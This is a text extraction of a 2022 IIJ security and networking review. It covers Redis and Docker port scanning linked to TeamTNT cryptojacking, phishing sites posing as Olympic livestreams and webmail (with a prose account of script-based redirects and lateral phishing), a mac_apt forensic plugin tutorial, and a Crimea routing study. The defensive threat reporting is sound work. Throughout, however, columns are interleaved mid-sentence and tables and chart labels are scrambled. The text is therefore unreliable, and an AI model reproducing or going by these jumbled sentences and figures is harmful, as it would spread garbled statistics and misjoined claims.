and files to see if you have received an attack or not.

Table 6 shows the top 10 TCP ports on which scanningwas observed on the IIJ Managed Firewall Service in 2020

1.3.3 Cryptocurrency-related Scanningand 2021. Scans on 6379/TCP rose from 13th (2020) to

Our SOC has observed scans targeting hosts that are

6th place (2021), with the number of scans increasing

open to the Internet. In 2019, we discussed scanning

3.11 times. Scans on 2375/TCP rose from 39th (2020)

activity targeting JSON-RPC used in an Ethereum client

to 9th place (2021), with the number of scans increasing(8545/TCP)*22, and in 2020, we discussed scanning

6.15 times.

Rank

2020

2021

1

23/TCP

23/TCP2

445/TCP

22/TCP

3

80/TCP

80/TCP

48080/TCP

8080/TCP

5

22/TCP

443/TCP6

81/TCP

6379/TCP

7

3389/TCP

445/TCP

81433/TCP

81/TCP

95555/TCP

2375/TCP

108545/TCP

3389/TCP

Table 6: Top 10 TCP Ports by Numberof Scans Observed in 2020 and 2021

*22Internet Infrastructure Review (IIR) Vol. 42, “Observational Data” (https://www.iij.ad.jp/en/dev/iir/pdf/iir_vol42_report_EN.pdf).

*23

Internet Infrastructure Review (IIR) Vol. 46, “Observational Data” (https://www.iij.ad.jp/en/dev/iir/pdf/iir_vol46_report_EN.pdf).

*24

Trend Micro, “Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining” (https://www.trendmicro.com/en_us/research/20/d/
exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html).

*25

Palo Alto Networks, “Attacker’s Tactics and Techniques in Unsecured Docker Daemons Revealed” (https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/).

© Internet Initiative Japan Inc.

13

Figures 6 and 7 show scanning on 6379/TCP and 2375/

and trended down until October 2021, but then increased

TCP, respectively, as a percentage of all scanning observed

again from mid-December 2021.

on the IIJ Managed Firewall Service over January 2020
– December 2021. The data are normalized so that total

The increase in scans on 6379/TCP (Redis) and 2375/

scanning activity over the period corresponds to 100% on

TCP (Docker) was confirmed by Japan’s National Institutethe vertical axis.

of Information and Communications Technology (NICT)
and the JPCERT Coordination Center (JPCERT/CC)*26,*27.

Figure 6 shows that scans on 6379/TCP increased sharply

It was also reported that these ports were the target of

in March 2021, rising 2.73 fold versus February 2021.

attacks by the cryptojacking group TeamTNT*28,*29. WhenThe number of scans trended down from April to Julya host is infected with TeamTNT malware, it downloads

2021, but we continued to observe many scans throughand runs mining tools. Scans aimed at spreading malware

December 2021. Figure 7 shows that scans on 2375/TCP

infections are also run in addition to this mining activity,

increased sharply in May 2021, rising 2.31 fold versus

and this may have had an influence on the increase in

April 2021. The number of scans peaked in July 2021

scans on these ports.

.1

.1

ec
D

ct

ov

.1

N

1

O

.1

1
Ju
l.

Se
p.

1
Ju
n.

Au
g

1
ay
M

.1

.1

Ap
r

.1

ar
M

1,

(Date)

Ja

n.

Ja
n.

Fe
b

20
21

.1

1

ec

ov
.

D

.1

N

1

ct

1

Se
p.

O

1
l.

1

Au
g.

Ju

n.

1

Ju

1

ay
M

1

Ap
r.

1
M

Fe
b.

20
1,

ar
.

0.5
0.45
0.4
0.35
0.3
0.25
0.2
0.15
0.1
0.05
0

20

Proportion of total(%)

Figure 6: Scanning Activity on 6379/TCP (January 2020 – December 2021)

(%)

0.7
0.6

Proportion of total

0.5
0.4
0.3
0.2
0.1

.1
ec
D

.1
ov
N

1
p.

1

ct
.1
O

Se

1

l.
1

g.
Au

Ju

n.
Ju

1
ay
M

Ap

r.

1

.1
ar
M

1
b.
Fe

21

.1

20
n.

1,

.1

ec
D

ov
N

.1

.1

1

.1

ct
O

Se
p

Au
g

l.

1

1

Ju

n.
Ju

.1

ay
M

Ap
r

.1

.1

ar
M

Fe
b

(Date)

Ja

Ja

n.

1,

20

20

0

Figure 7: Scanning Activity on 2375/TCP (January 2020 – December 2021)

14

*26

NICT, “NICTER observational statistics for April–June 2021” (https://blog.nicter.jp/2021/09/nicter_statistics_2021_2q/, in Japanese).

*27

JPCERT/CC, “Internet Threat Monitoring Report (July 1, 2021 – September 30, 2021)” (https://www.jpcert.or.jp/english/doc/TSUBAMEReport2021Q2_en.pdf).

*28

Aqua Security Software, “Threat Alert: TeamTNT is Back and Attacking Vulnerable Redis Servers” (https://blog.aquasec.com/container-attacks-on-redis-servers).

*29

Palo Alto Networks, “Black-T: New Cryptojacking Variant from TeamTNT” (https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

In the case of Docker, it has been reported that some

not transient; the scanning continued through the end

malware scans not only 2375/TCP but also 2376/TCP,of 2021. So we recommend checking whether any ser-2377/TCP, 4243/TCP, and 4244/TCP, and our SOC

vices you operate have been unintentionally exposed tohas also observed similar increases in scanning on these

the world. When exposing a service to the outside world,

ports. There are also reports of new attacks targeting

you need to take steps such as setting up an ACL andthe container orchestration service Kubernetes

authentication.

*29,*30*31. Whilethis scanning is smaller in scale than the Redis/Docker
activity, we can confirm that scans targeting 10250/TCP

1.3.4 Observations on Phishing Sites(kubelet), used by Kubernetes, are on the rise.

This section covers phishing sites that our SOC analysts
focused on in 2021. First, we discuss the features of,When the TeamTNT malware scans externally, it scansand our observations on, a phishing site pretending to berandom IP address ranges. So a host may be infected if

a livestream service observed during the 2021 Olympic

it is open to the Internet, and if infected, it will performand Paralympic Games. We then look at a phishing site pre-scans aimed at spreading the malware further. However,tending to be a webmail service and using a sophisticatedmore than half of the 6379/TCP (Redis) and 2375/TCP

attack method.

(Docker) scanning observed in 2021 originated from aparticular cloud provider. It is thought this is because themalware contains source code that disables host security
components used by that cloud provider■ Phishing Site Pretending to be an Olympic Livestream
Serviceand hosts running

The 2020 Tokyo Olympic Games took place over Julyon the platform are thus relatively easy to infect. So hosts

23 – August 8, 2021, and the 2020 Tokyo Paralympic

open to the Internet may be infected by malware, butGames over August 24 – September 5, 2021, a year

because some hosts are more susceptible than others inlater than originally planned. Because of the COVID-19

this way, there is a skew toward certain hosts in terms of

pandemic, most venues were closed to spectators, andthe source of scans.

the Games were broadcast live on TV and the Internet.

*28

Phishing sites pretending to offer livestreams of theThis section has discussed the increase in scanning

Olympic Games appeared during the event*32, and peopleon 6379/TCP (Redis) and 2375/TCP (Docker). Whenreported on external Q&A sites that they had accessed

TeamTNT malware infects these services, they canthese sorts of phishing sites and been duped into entering

download and run mining tools. These attacks were

their email address and password.

*30

Trend Micro, “Compromised Docker Hub Accounts Abused for Cryptomining Linked to TeamTNT” (https://www.trendmicro.com/en_us/research/21/k/compromised-docker-hub-accounts-abused-for-cryptomining-linked-t.html).

*31

Palo Alto Networks, “Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes” (https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/).

*32

Trend Micro, “Tokyo Olympics Leveraged in Cybercrime Attack” (https://www.trendmicro.com/en_us/research/21/h/tokyo-olympics-leveraged-in-cybercrime-attack.html).

© Internet Initiative Japan Inc.

15

Our SOC also observed many such phishing sites. The

Our SOC observed access to such phishing sites during

phishing sites observed had an image of a video player in

the Olympics. Figure 9 shows traffic to phishing sites as

the center of the screen (Figure 8). The title of the pagea percentage of total observed on the IIJ Secure Web

said “Japan vs. Mexico Women’s Softball Live Broadcast”

Gateway Service from July to September. The data arein Japanese, and an image of a baseball field appeared

normalized so that total traffic to phishing sites over thein the background, so it seems to have been targeting

period corresponds to 100% on the vertical axis.

Japanese viewers wanting to watch the softball. Clicking
the play button in the center of the screen does not play

Over the period, activity was highest on July 21, ac-

the match but instead displays a screen showing the NHK

counting for 18.01% of the total. This was the date oflogo and asking the user to create an account. In addition

the first softball match in the opening round (Japan vs.

to that shown in Figure 8, phishing sites pretending toAustralia). A lot of traffic to phishing sites was subse-

offer livestreams of the Olympic opening ceremony andquently observed during the Olympic Games proper (Julyof the Japanese team’s soccer matches were also seen

23 – August 8), and traffic was also observed duringin the wild.

the Paralympic Games (August 24 – September 5). An

Figure 8: Example of Phishing Site Screen

(%)
20
18
16
Proportion of total

14
12
10
8
6
4
2

Figure 9: Traffic to Phishing Sites (July–September 2021)

16© Internet Initiative Japan Inc.

30
p.
Se

23
p.
Se

16
p.
Se

9
p.
Se

2
p.
Se

6
.2
Au
g

9
.1
Au
g

2
.1
Au
g

.5
Au
g

29
l.
Ju

22
l.
Ju

15
l.
Ju

l.

8

(Date)

Ju

Ju

l.

1

0

May.2022

Vol.

54

1. Periodic Observation Report

investigation into traffic to phishing sites revealed thatcausing the user to visit the phishing site. So a visit to apeople were accessing them via search engines in thecompromised website may result in the user being forcibly

following manner.

redirected to a phishing site.

1. User searches via a search engine such as Google or

Other phishing sites that similarly pretend to offerYahoo

livestreams of golf, soccer, etc. have appeared after

2. User visits a compromised website

the Olympics as well. Attackers may be using legitimate

3. User visits a website built with a specific blogging

sites that have been compromised to display sites at theservice

top of search results. So users need to be careful not to

4. User visits the phishing site

carelessly click on sites even when they are at the topof search results. The Anti-Phishing Council of Japan’s

Given that most visits to phishing sites started with a

Anti-Phishing Guidelines*33 are also worth reviewing.

search engine search followed immediately by a visit to acompromised website (that has been tampered with), the■ Phishing Sites Pretending to be Webmail Services

compromised websites may have been displayed at the top

In 2021, our SOC observed numerous phishing sitesof the search results when users accessed them. Anotherpretending to be webmail services and designed to stealfeature of this activity was that the time between visiting

account details. Phishing sites designed to steal information

the compromised website and reaching the phishing site wasare not uncommon these days, but attack methods areshort. This is probably because the users were redirected bybecoming more sophisticated every year, making it

JavaScript code on the sites. Specifically, the sites in Step

difficult to stay ahead and prevent harm. Here, we look at

2 have JavaScript code in the onerror attribute of img tags,

one particular case observed by our SOC.

and by deliberately causing an error, the user is made tovisit the site in Step 3, which is specified in the location.

Figure 10 is an example of a phishing email observed byhref property. On the site in Step 3, the location.replace

our SOC. The attacker pretends to be a service provider

method is used in a script tag to specify the Step 4 URL,

and leads the user to a phishing site by pretending that

Figure 10: Example of Phishing Email*33

Council of Anti-Phishing Japan, “Anti-Phishing Guidelines—2021 Edition” (https://www.antiphishing.jp/report/antiphishing_guideline_2021.pdf, in Japanese).

© Internet Initiative Japan Inc.

17

there is a maintenance issue or system problem. Whenis in use even if the user does not enter a password or

the email is displayed in HTML format, the anchor text ofother information, so the address may be seen as offering

the link in the email body will show the service provider’sa high probability of attack success and thus subsequently

legitimate site, while the actual link destination may be

be used in other attacks.

a phishing site. In some cases, the email body is very
similar to what the service operator actually sends its

If the user enters a password and clicks the Login button,users, and if the user has seen similar notifications froman error message is displayed, and while the browser

the provider in the past, this may increase the likelihood

does not move to a post-login screen, the informationof the user not noticing the minor differences and thus

entered is obtained by the attacker at this point. We haveaccessing the malicious site.

confirmed that attempts to log in again will result in theuser being taken to the legitimate webmail service’s login

When you visit the link in the email body, the form’s username

screen. This is probably so that, even if the failed login

field already contains the phishing email recipient’s

attempt seems suspicious, the user may not notice that

address. This is because the site is set up to prepopulate

they were on a phishing site. Account details stolen in

the field with the email address specified in the phishing

this manner may be used to send emails targeting othersite’s URL parameter. This is no doubt intended to makeusers and thus cause additional harm. This is called lateral

it look like the email address is appearing due to a cookie

phishing, and as more and more users are duped via thesaved by the Web browser so as to make the user thinkcycle depicted in Figure 12, the attacker is able to send

they have previously visited the site.

emails from an increasingly long list of addresses.

And by including the email address in the URL, the attacker

The majority of phishing sites observed by our SOC were

can see from access logs and the like that the email address

constructed by tampering with legitimate websites. We

Attacker(1) Attacker uses a compromised account to send
emails directing people toa phishing site(4) Attacker exploits
the account details(2) Recipients click thelink in the email
body and access thephishing site(3) Recipients enter theiraccount details into thephishing site
Figure 11: Example of Phishing Site

18

Figure 12: Cycle of Harm in Lateral Phishing© Internet Initiative Japan Inc.

Victims

May.2022

Vol.

54

1. Periodic Observation Report

have confirmed that these phishing sites use the same

1.4 Conclusion

content as legitimate services, and that the phishing sites

This report covered security topics and a range of

behave in similar ways. Also, phishing sites linked to in

observations that our SOC analysts focused on in 2021.

email bodies are seldom used on an ongoing basis, andNotwithstanding the discussions in Sections 1.2 and 1.3,

attackers tend to switch to different websites in quick

the use of external services such as cloud computing

succession.

and the like in recent times means that threats exist allover the place, including where your organization may be

In light of all this, it looks like attackers gather information

unable to get at them. So you need to gather relevanton compromisable websites and prepare content in advance

information, understand the situation, and implement

to make it easy to create phishing sites so that they canswift responses on that basis. We will continue to publish

build numerous such sites in a short space of time,

information on threats observed via our Data Analytics

allowing them to mount attacks on a continuous basis

Platform, key security topics, and the like in the hopesby targeting the window between when they initiate anthat it will prove useful to you in your security responses

attack and when security products identify the phishingand operations.

site as a threat and thus block access to it.

Hiroyuki Kamogawa
Security Operations Center, Security Business Department, Advanced Security Division, IIJ

Junya Yamaguchi
Security Operations Center, Security Business Department, Advanced Security Division, IIJ

Shun Morishita
Security Operations Center, Security Business Department, Advanced Security Division, IIJ

Shimpei Miyaoka
Security Operations Center, Security Business Department, Advanced Security Division, IIJ© Internet Initiative Japan Inc.

19

2. Focused Research (1)Creating a mac_apt Plugin (Part 1)

2.1 What is mac_apt?

Many plugins are implemented for mac_apt, allowing

Digital forensics is so well provided for on Windows thatanalysis of many key artifacts. But mac_apt is developed

free and open source tools alone are sufficient for analyzing

almost solely by its creator, Yogesh Khatri, who cannot bemost artifacts. Yet in the case of macOS—which, like

expected to provide support for all artifacts.

Windows, is widely used as a desktop OS—relatively few
commercial products, not to mention free and open source

If an artifact is unsupported, it would perhaps be common

tools, are available.

to submit an Issue on the mac_apt development repository
and wait for someone to volunteer to implement a plugin.

This probably reflects the relative OS market shares and

But if you have some understanding of the artifact’s dataneeds within the digital forensics market. But the last few

structure, you might also consider implementing the plugin

years have seen the release of open source forensic analysis

yourself, because as mentioned earlier, mac_apt wastools for macOS that implement just enough features to be

developed as a forensic analysis framework.

practically useful. In my case, I have been following a tool
called mac_apt*1 closely.

This has been a somewhat lengthy preamble, but I will now
go over the basics of creating plugins for the mac_apt

This tool was developed as a macOS forensic analysis

forensic analysis framework for macOS. There is no official

framework and can analyze a range of artifacts using overdocumentation on creating plugins, so what follows is based

40 plugins. It also implements its own APFS and HFS+ fileon the source code of plugins already implemented andsystem parsers, allowing direct analysis without the disk

what I have learned from creating plugins. While mac_apt isimage mounted. So to compare it with tools designed to

written in Python, I will not be explaining Python terminology

perform analysis on disk images mounted in the OS, mac_and the like here.

apt obviates the need to install file system drivers, and it
allows the analyst to perform analysis regardless of what

2.2 Important File Formats for macOS Forensics

OS they are running on the analysis machine. And in

Before we get into creating plugins, let’s look at file formats

addition to de facto standard disk image formats like RAW

that are often parsed in macOS forensics. macOS and its

and E01, it also supports relatively niche formats like AFF4

applications use property lists (plists) and SQLite to store

and SPARSEIMAGE. These are used by commercial forensic

settings and history data. So naturally, artifact files often

tools as disk image formats.

come in one of these formats (since forensic analysis often
involves analysis of settings and history).

Conversion tools can be used to convert disk images to any
number of formats, so analysis tools do not necessarily haveplist files are mainly used to store simple data like OS andto support a whole bunch of formats. But because the disk

application settings and history. They play a role like thatimages of computers these days often exceed severalof the Windows registry, but as they are created for eachhundred GB in size, converting disk images takes a lot ofapplication, they are found in various places on the filetime and disk space. So the ability to analyze disk images

system. Early plist files used an XML format, but a binary

without converting them is a plus for the analyst.

format is now the default. On the command line, plutil can*120macOS (& ios) Artifact Parsing Tool (https://github.com/ydkhatri/mac_apt).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

2. Focused Research (1)be used to examine the contents of a plist file. Figure 1

in a range of applications including Chrome, and recently

shows an example of using plutil to display com.apple.

even in Windows some artifacts are saved in SQLite format.

dock.plist, which stores the settings for applications on

DB Browser for SQLite*2 is a convenient way to view thethe macOS Dock.

data. Figure 2 shows an example of using DB Browser
to read com.apple.LaunchServices.QuarantineEventsV2,

SQLite, like plist, is used to record settings and history,

which stores information related to the quarantining of

but it is also used to store slightly larger pieces of data

files downloaded via a Web browser.

such as blobs of sent and received data. It is also used

Figure 1: plist Example (com.apple.dock.plist)

Figure 2: SQLite Example (com.apple.LaunchServices.QuarantineEventsV2)*2

DB Browser for SQLite (https://sqlitebrowser.org/).

© Internet Initiative Japan Inc.

21

2.3 mac_apt Plugin Structure

2.3.2 Properties

2.3.1 Demo Plugin

Plugin properties are set near the beginning of the plugin

A demo plugin is provided in the mac_apt plugins folder(immediately after module imports) (Figure 3). Table 1

in a file called _demo_plugin.py. This plugin reads the

explains each of these properties.

file “/System/Library/CoreServices/SystemVersion.plist”,
gets the value in ProductVersion, displays it on screen,

Plugin authors can basically set these as they like, but

and saves the analysis results to a file.

__Plugin_Name needs to be unique as it is used to identify theplugin. __Plugin_Modes specifies what OS types (MACOS

It only performs a simple analysis, but it is just right foror IOS) the plugin supports. Note that the keyword

understanding how plugins are structured, so let’s use it“ARTIFACTONLY” can also appear in this property if you

as an example to see how plugins work in general.

want to support the analysis of exported artifact files.

Figure 3: Plugin Property Settings

Property name

Meaning

ExampleNotes__Plugin_Name

Plugin name

DEMOPLUGIN1

Must be all caps, cannot include spaces__Plugin_Friendly_Name

Friendly name of plugin

Demo Plugin 1

Not used within the program__Plugin_Version

Version

1.0

Not used within the program__Plugin_Description

Plugin description

Arbitrary string__Plugin_Author

AuthorJohn Smith

Not used within the program__Plugin_Author_EmailAuthor’s email

author@example.com

Not used within the program__Plugin_Modes

OSs supported

MACOS,IOS,ARTIFACTONLY__Plugin_ArtifactOnly_Usage

Usage info for mac_apt_artifact_only.py

Arbitrary string

Table 1: Meaning of Plugin Properties

22© Internet Initiative Japan Inc.

May.2022

Vol.

54

2. Focused Research (1)2.3.3 Entry Points■ Plugin_Start()

All plugins first call the Plugin_Start(), Plugin_Start_

Plugin_Start() (Figure 4) takes a mac_info object as anStandalone(), or Plugin_Start_Ios() function. Table 2 lists

argument. This object contains basic macOS information

the plugin entry points for different mac_apt commands.

(OS version, user list, etc.) obtained from the disk image
to be analyzed along with basic methods for accessing

The demo plugin implements two entry points, Plugin_

the files on the disk image.

Start() and Plugin_Start_Standalone(). And this is consistent
with the content of the __Plugin_Modes property (Plugin_

The demo plugin displays the name of the OS on which

Start_Ios() contains only a pass instruction, and IOS does

mac_apt is running and the macOS version for which the

not appear in __Plugin_Modes). Next, let’s look at what

analysis is being performed (lines 40–41). The function

happens at each entry point.

then sets the artifact file path, pulls the version number

mac_apt command
mac_apt.py
mac_apt_mounted_sys_data.py

Plugin entry point
Plugin_Start()

mac_apt_artifact_only.py

Plugin_Start_Standalone()

ios_apt.py

Plugin_Start_Ios()

Table 2: mac_apt Commands and Entry Point Called

Figure 4: The Plugin_Start() Function© Internet Initiative Japan Inc.

23

out of the artifact file using the Process_File() function,

could be undetermined. For example, if the artifact file isand displays this on screen (lines 44–46). It then exports

located within the user home directory tree, the file path

the artifact file from the disk image and saves it in a folder

will contain a user name and is thus not a fixed string.

with the same name as the plugin (line 49). Finally, it

In such cases, you need to use the methods provided byuses the WriteMe() function to save the analysis results

mac_apt to get a list of directories and files on the disk(line 52).

image and dynamically build artifact file paths.

So at the entry point, once the artifact file path has been

■ Plugin_Start_Standalone()set, the main tasks are to call a function that performs

Plugin_Start_Standalone() (Figure 5) takes as its first

analysis and a function that saves the analysis results

argument a list object of artifact files specified on the(see below for details of Process_File(), WriteMe()). Other

mac_apt_artifact_only.py command line, so this can beplugins used to perform actual analysis also follow thisiterated over to process the artifact files one after thesame procedure.

other (line 96).

The path of the artifact file analyzed by the demo plugin is

However, if the artifact is made up of multiple files, or if

a fixed string, but depending on the artifact, the file paththe settings result in the artifact file path(s) being

Figure 5: The Plugin_Start_Standalone() Function

24© Internet Initiative Japan Inc.

May.2022

Vol.

54

2. Focused Research (1)undetermined, you will again need to dynamically build

2.3.4 The Demo Plugin’s Other Functions

the artifact file paths. Since the artifact files are on the■ Process_File()

file system of the OS running mac_apt, you can use

A function that parses SystemVersion.plist (Figure 6).

Python’s standard os module to get the file list and so on.

Parses the artifact file passed in as the second argument
using the mac_info object’s ReadPlist() method (line 60).

In the demo plugin, if the file path ends with “SystemVersion.

If successful, calls the GetMacOsVersion() function,

plist”, the file is parsed by the ReadPlist() method in thedescribed below, to get the version number and returns

CommonFunctions module provided by mac_apt (lineit (lines 61–65).

100). If the file is successfully parsed, then after obtaining
the OS version, the function saves the analysis results

The mac_info object’s ReadPlist() method, like that in theusing the WriteMe() function (lines 101–106). As you canCommonFunction module, returns the result of parsing

see, Process_File() is not called here, but the procedure is

the plist as a dictionary object.

mostly the same as in Plugin_Start().
■ GetMacOsVersion()
Note that the result of parsing a plist file using the ReadPlist()

Gets the OS version from parsed plist data and returns it

method (second return value) is a dictionary object.

(Figure 7).

Figure 6: The Process_File() Function

Figure 7: The GetMacOsVersion() Function© Internet Initiative Japan Inc.

25

■ WriteMe()

The DataWriter object is used to save the analysis results

A function that saves the analysis results to a file (Figure 8).

in the location and file format specified on the mac_apt

col_info defines the columns used when writing thecommand line (line 82). The first argument holds information

analysis results (line 77). The definition is a list of tuple

such as the save folder, the second holds the table nameobjects. The first element of each tuple is the column(when saving in SQLite format), the third is the columns

name and the second is the column’s type. Common typedefinition, and the fourth is the artifact file path. But asvalues are “DataType.TEXT” and “DataType.INTEGER”.

the fourth argument is not used, you can simply passIn the demo plugin, the first column is named “Version

in an empty string. The DataWriter object’s WriteRow()

info” and contains text, the second is named “Major” andmethod is used to actually write the data.

contains integers.
As the comment on line 90 indicates, however, the above
The data variable holds the data (list object) to be saved

process can also be accomplished in a single line using(line 79). The length of this list must match the length of

the WriteList () function. A look through other plugins

the columns definition.

reveals that most of them use the WriteList() function.
The first argument is a string giving some details about

Figure 8: The WriteMe() Function

26© Internet Initiative Japan Inc.

May.2022

Vol.

54

2. Focused Research (1)the data, but this is only written to logs and is not saved

It also looks like analysis functions are often namedin the file. The sixth argument can simply be an empty“ProcessXxxx()” or “ParseXxxx()”. And “PrintAll()” is usedstring since, within the WriteList() function, it is used asconsistently as the name of the function that saves analysis

the fourth argument of a DataWriter object.

results (although the demo plugin uses WriteMe()). Thisfunction has three arguments. The first is a list object

2.3.5 Naming Rules for Functions etc.

holding the analysis results to be saved. The second is an

The entry point function names are fixed, but the plugin

object (mac_info.output_params) that holds settings such

author needs to decide on the names of the other functions

as the save destination and save file format. The third isthat perform analysis and save the analysis results. As

ultimately passed to the WriteList() function as its sixth

noted earlier, there is no documentation on how plugins

argument, and as such, it appears to be an empty string

should be written, but looking at existing plugins, mostin most cases.

seem to use Pascal case function names, and variablenames are in snake case. This is good to be aware if you
want to be consistent with other plugins.

© Internet Initiative Japan Inc.

27

2.4 Finding Artifacts Not Supported by mac_apt

application in the Dock with the path of a malicious

As I mentioned, the creator of mac_apt maintains it almost

program*3, I realized that mac_apt does not provide analysis

single-handedly, so there are unsupported artifacts. Soof “~/Library/Caches//Cache.db”. To check whether mac_when looking at other analysis tools or reading macOS

apt supports a given artifact, you can look through the list

security articles, you may notice artifacts that mac_aptof plugins or search the mac_apt source code for the namedoes not support.

of an artifact file.

For example, when reading an article about how an attacker

When I checked Cache.db on an actual machine, I foundcould, as a persistence method, replace the path of anthat it stores not only HTTP but also HTTPS traffic (Figure

Figure 9: The cfrul_cache_response Table*3

28

Are You Docking Kidding Me? (https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

2. Focused Research (1)9). And not only that, it also stores the HTTP request

In the next issue of the IIR, I will discuss the data stored

method, HTTP status, HTTP headers, and response bodyin Cache.db in detail and the implementation of a plugin(Figures 10 and 11). Information like this can be very

for analyzing this artifact file.

useful when doing forensics, so it would be well worth
thinking about implementing a plugin for this.

Figure 10: The cfurl_cache_receiver_data Table

Figure 11: The cfurl_cache_blob_data Table

Minoru Kobayashi
Forensic Investigator, Office of Emergency Response and Clearinghouse for Security Information, Advanced Security Division, IIJ Mr.
Kobayashi is a member of IIJ-SECT, mainly dealing with digital forensics. He works to improve incident response capabilities and in-house
technical capabilities. He gives lectures and training sessions at security events both in Japan and abroad, including Black Hat, FIRST TC,
JSAC, and Security Camp events.

© Internet Initiative Japan Inc.

29

3. Focused Research (2)The Internet in Crimea: Changes inConnectivity Revealed by an Analysis of Routing Data
In 2014 the Russian Federation laid claim on Crimea,

members of the Ministry of Communications of Ukraine;

causing a change of regime and reportedly profound changes

and digital security trainers. We also analyzed informationin Internet regulation and connectivity on the peninsula.

communicated via forums and group chats in the regions

Those changes were evident in our Internet measurements.

as well as press reports, all of which elucidated how

This report is a summary of a paper presented at the Global

the infrastructure transitions happened in Crimea between

Internet Symposium 2020 .

March 2014 and July 2017. Figure 1 also shows these*1

events, which we discuss below.

3.1 Introduction
Crimea is a peninsula located South of Ukraine and West3.2.1 Backgroundof Russia. It was previously administered by Ukraine, but

As a mountainous peninsula, Crimea was heavily dependent

the Russian Federation declared its annexation of Crimea

on the Ukrainian mainland for supplies, from water andin 2014. This caused changes to the way the Internet was

gas to electricity and communications. Russian control

wired for an estimated 2.3 million people living in Crimea.

of Crimean information infrastructure followed a “softUntil 2014, access of Crimeans to the rest of the Internet

substitution” model and took about three years. Thiswas predominantly handled through Ukrainian networks,

reflects the fact that the Russian Federation was not able

held to Ukrainian law and oversight. But since 2014,

to substitute the necessary services all at once without

Crimea has been subject to Russian Internet regulations.

causing an extended period of service disruptions that

Although the Russian government quickly embarked on

would have prompted indignation among the Crimean

large infrastructure projects, such as the construction of

population.

submarine cables, it took three years for Crimean Internet
Service Providers (ISPs) to complete the transition.

The geopolitical status of Crimea as a disputed area andthe resulting sanctions from the US and the EU drove theWe examine and analyze this transition from a perspective

development of a gray market for Internet service in Crimea,

on Internet governance, science and technology studies,

Lugansk, and Donetsk. Progressive centralization of routing

and network measurements. To gain insight into whatpaths and monopolization of the Internet service market in

the transition was actually like, we combine both a

Crimea facilitated control over networks. Consequently, thesociological approach—analyzing media reports andquality and speed of Internet connections degraded, while

information from people in the region—and a science

the cost of Internet services for end-users increased.

and technology approach—analyzing network measurements.
For our network analysis, we propose an AS Hegemony

3.2.2 Ukrainian ISPs Left Crimea

metric based on BGP data to quantify AS (autonomous

Crimea became part of the Russian Federation after asystem, organization that controls routes) dependency.

referendum held on March 16, 2014. As a result, theThis metric lets us examine changes in network policy

majority of Ukrainian telecommunication companies left

in Crimea.

the peninsula and Russia acquired Ukrainian Internet andtelecommunication infrastructures.

3.2 The Internet in Crimea
First, we gathered information via 45 interviews conducted

3.2.3 The Kerch Strait Cable

between December 2017 and May 2018 with relevant

The Russian state-owned telecommunications company,

actors: ISPs from Crimea and the Ukrainian mainland;

Rostelecom, announced on April 25, 2014 the completion

journalists and human rights defenders working in the area;of a 110Gbps submarine link from Russia to Crimea and*1Romain Fontugne, Ksenia Ermoshina, Emile Aben. “The Internet in Crimea: a Case Study on Routing Interregnum”, Global Internet Symposium 2020. Paris, France.
June 2020.

30© Internet Initiative Japan Inc.

May.2022

Vol.

54

3. Focused Research (2)said service will be offered by Miranda Media, Rostelecom’s

3.3.1 ASNs in Crimea

local agent. Miranda Media’s main ASN (AS201776) was

As Crimea is a disputed area and the ASN country codes

registered on July 15, 2014 and first seen in BGP as anhave changed over time (RU, UA, or “Other”), we first need

upstream provider for Crimean networks on July 24. The

to identify which ASNs were operating from within the

traffic capacity of the Kerch Strait cable was insufficient,peninsula.

so Ukrainian fiber was kept as a backup option, and one
respondent said “routes through Perekop (Ukrainian cable)

We first looked at RIPE Atlas probes*3 active in Crimea

were cheaper and faster than the undersea connection

and verified if they corresponded to a commercial ISP

via Kerch Strait”. Crimean providers were reluctant to use

using Whois, and we then searched dedicated user forums

the new Kerch Strait cable for speed and quality reasons.

or official websites of these ISPs. We looked at all the

Around that time, Crimean World of Tanks

players were

upstream ISPs of these ASNs and identified those located inamong the first to complain about speed loss on dedicatedCrimea. Next, in February–April 2018, a set of network

forums, and the price of Internet access in Crimea wasmeasurements on eight Crimean networks was taken

raised in 2015.

using OONI probe*4 for Android and iPhone. We also*2

cross-verified this data with the information from forums
and interviews to identify ASNs and upstream ISPs.

3.2.4 Internet De/Consolidation
In May 2016, Russia started construction of a second
Internet cable that reuses Kerch bridge infrastructure andThese efforts identified the biggest upstreams in the area,connects Crimea to an exchange point in Rostov, thus

Miranda Media and UMLC, as well as the two biggest

consolidating Crimea’s connectivity to Russia. This cable

Crimean ISPs, CrimeaCom South and CrelCom. At thiswas reportedly first used in July 2017.

point, we had a list of 80 ASNs thought to be in use in
Crimea. We combined this with a list of all downstream

A year later in May 2017, the Ukrainian president ordered

networks of Miranda Media obtained from BGP data.

that access be blocked to Russian platforms such as social

Finally, we manually checked the combined list andmedia service vk.com, the mail.ru mailing service, andremoved three ASNs that were present at Crimea-IX but

the search engine yandex.ru. On May 31, Crimean users

operated mostly outside of Crimea.

complained about being blocked when trying to accessthese websites. This was seen as evidence that Crimean

The above steps produced a list of 111 ASNs that were

ISPs are still connected to upstream Ukrainian networks.

active between 2012 and 2019. This number is surprisingly

Then in summer 2017, the Ukrainian government put

high, but a closer look at each AS reveals that many arepressure on Ukrainian ISPs to stop providing traffic tomanaged by small local businesses or individuals, andCrimea (allegedly on July 12, 2017).

about half announce only one or two IPv4 prefixes, usually
a /24 or /23.

3.3 The Transition Viewed Through Internet
Measurements

3.3.2 Network Dependencies

We now look at topological changes in Crimea based on

to Crimea, we estimated the AS dependency of Crimean

network data. Our analysis focuses on changes in the way

networks with BGP data and our AS Hegemony metric*5.

ASes operating in Crimea routed traffic before, during, and

AS Hegemony, HASx (ASy), quantifies the likelihood (value

after the transition.

from 0 to 1) of ASy lying on paths toward ASx. HASx

To identify the main transit networks providing Internet*2

An online battle game available worldwide.

*3

A device (https://atlas.ripe.net/) distributed by RIPE, the RIR for Europe, for monitoring the Internet connectivity from the end-user side.

*4

Open Observatory of Network Interface, a tool for checking Internet speed and censorship from the end-user side, available for both Android and iOS.

*5

